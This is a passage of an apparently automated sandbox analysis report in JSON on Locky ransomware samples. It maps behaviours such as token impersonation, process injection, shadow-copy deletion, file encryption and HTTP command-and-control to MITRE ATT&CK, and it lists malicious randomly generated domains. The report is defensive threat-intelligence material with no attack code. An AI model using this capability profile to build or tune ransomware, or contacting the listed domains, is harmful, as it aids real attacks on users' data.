Modify System Process"},{"attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to retrieve a list of sessions on a remote server (API string)"},{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Connections Discovery"},{"attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/techniques/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"tactic":"Persistence","technique":"Kernel Modules and Extensions"},{"attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Domain Generation Algorithms"},{"attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Collection","technique":"Automated Collection"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Persistence","technique":"Account Manipulation"},{"attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Able to delete volume snapshots"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Management Instrumentation"},{"attack_id":"T1045","attack_id_wiki":"https://attack.mitre.org/techniques/T1045","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Software Packing"},{"attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Execution","technique":"Service Execution"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"suspicious","value":"POSTs files to a webserver"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Initial Access","technique":"Phishing"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification"},{"attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Software Packing"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"tactic":"Persistence","technique":"Hooking"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Contains ability to compress/decompress buffers (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}],"tactic":"Collection","technique":"Archive via Library"},{"attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"User Activity Based Checks"},{"attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Symmetric Cryptography"},{"attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal"},{"attack_id":"T1043","attack_id_wiki":"https://attack.mitre.org/techniques/T1043","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Commonly Used Port"}],"rule_matches":{},"sandbox_signatures":[{"category":"Network Related","description":"$25","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found user-agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Uses a browser-related user-agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"Software\\Policies\\Microsoft\\Internet Explorer\\Main\" in Source: 00000000-00008908.00000000.333005.007B0000.00000004.mdmp\n 00000000-00008908.00000001.334926.007B0000.00000004.mdmp\n 00000000-00008908.00000002.336847.007B0000.00000004.mdmp\n \"Software\\\" in Source: 00000000-00008908.00000001.334926.00412000.00000002.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\" in Source: 00000000-00008908.00000001.334926.00412000.00000002.mdmp","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; File: \"locky.exe\")\n Found reference to API \"EnumChildWindows\" (Indicator: \"enumchildwindows\"; File: \"locky.exe\")\n Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"locky.exe\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"locky.exe\")","id":"string-721","level":"informative","mitre_attack_id":"T1055.015","name":"Able to visualize and control listed components (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","id":"registry-9","level":"suspicious","name":"Checks warning level of secure to non-secure traffic redirection","origin":"Registry Access","relevance":7,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"locky.exe\")\n Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; File: \"locky.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"locky.exe\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-84","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to find logical drives of the machine (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"locky.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","id":"mutant-0","level":"informative","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"locky.exe\" has a section named \".data3\"","id":"static-60","level":"suspicious","mitre_attack_id":"T1027.002","name":"PE file contains unusual section name","origin":"Static Parser","relevance":10,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"locky.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"locky.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-313","level":"informative","mitre_attack_id":"T1135","name":"Contains ability to enumerate system network resources (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-450","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to determine if process is running under WOW64 (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"\"yvbpaeofubcrwiwhq.su\" is random\n \"mginrklvcqfaxqwk.xyz\" is random\n \"xhhmdjefam.ru\" is random\n \"ckwrfapl.info\" is random\n \"wxlywjtdfysqm.su\" is random\n \"sreyuccwpqkbjr.org\" is random","id":"network-6","level":"malicious","name":"Contacts Random Domain Names","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"GetForegroundWindow\" (UID: 00000000-00008908)","id":"api-142","level":"informative","mitre_attack_id":"T1010","name":"Calls an API possibly used to retrieve a handle to the foreground window","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","id":"handle-0","level":"malicious","name":"Accesses potentially sensitive information from local browsers","origin":"Touched Handle","relevance":5,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Assembly shows XOR instruction xor eax\n 00006036h in Stream UID: 20205-556-00402B55\n Assembly shows XOR instruction xor edi\n 00004299h in Stream UID: 20205-556-00402B55\n Assembly shows XOR instruction xor ecx\n edx in Stream UID: 20205-556-00402B55","id":"stream-139","level":"informative","mitre_attack_id":"T1027.005","name":"Contains XOR operation loops [Stream disassembly]","origin":"Hybrid Analysis Technology","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"locky.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"locky.exe\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"locky.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found GetCursorPos() in an import section (Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin)","id":"static-132","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect sandbox (mouse cursor movement)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted domain: \"hvjblnqodcbrjvyjr.pw\" has high entropy\n Contacted domain: \"jgmpyhohie.su\" has high entropy\n Contacted domain: \"rydaffppgakbts.su\" has high entropy","id":"network-81","level":"informative","mitre_attack_id":"T1568.002","name":"High entropy domain detected","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"locky.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"locky.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Observed import api \"AllocateAndInitializeSid\" which can \"Allocates and initializes a security identifier (SID) with up to eight subauthorities\" [Source: locky.exe]\n Observed import api \"DuplicateToken\" which can \"Creates a new access token that duplicates one already in existence\" [Source: locky.exe]\n Observed import api \"DuplicateTokenEx\" which can \"Creates a new access token that duplicates an existing token\" [Source: locky.exe]\n Observed import api \"FreeSid\" which can \"Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function\" [Source: locky.exe]\n Observed import api \"InitializeSid\" which can \"Initializes a security identifier (SID)\" [Source: locky.exe]\n Observed import api \"RevertToSelf\" which can \"Terminates the impersonation of a client application\" [Source: locky.exe]\n Observed import api \"SetTokenInformation\" which can \"Sets various types of information for a specified access token\" [Source: locky.exe]","id":"static-87","level":"informative","mitre_attack_id":"T1134.001","name":"Imports system security related APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"Observed API string:\"CreateThread\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]\n Observed API string:\"OpenThread\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to modify processes thread functionality (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"locky.exe\")\n Found reference to API \"GetVolumeNameForVolumeMountPointA\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-162","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve volume information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: locky.exe]","id":"static-189","level":"informative","mitre_attack_id":"T1057","name":"Calls an APIs used to retrieve process information","origin":"Static Parser","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"locky.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"locky.exe\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-226","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1112","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$26","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetModuleHandleA@KERNEL32.dll at 37034-1-004074E6\n GetModuleHandleA@KERNEL32.DLL at 00000000-00005476-47753-1-00405152","id":"stream-121","level":"suspicious","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle for the specified module","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00004216)\n \"locky.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00004216)\n \"locky.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00004216)\n \"locky.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00004216)\n \"locky.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00004216)\n \"locky.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00004216)","id":"api-122","level":"informative","mitre_attack_id":"T1074.001","name":"Calls an API typically used to create a directory","origin":"API 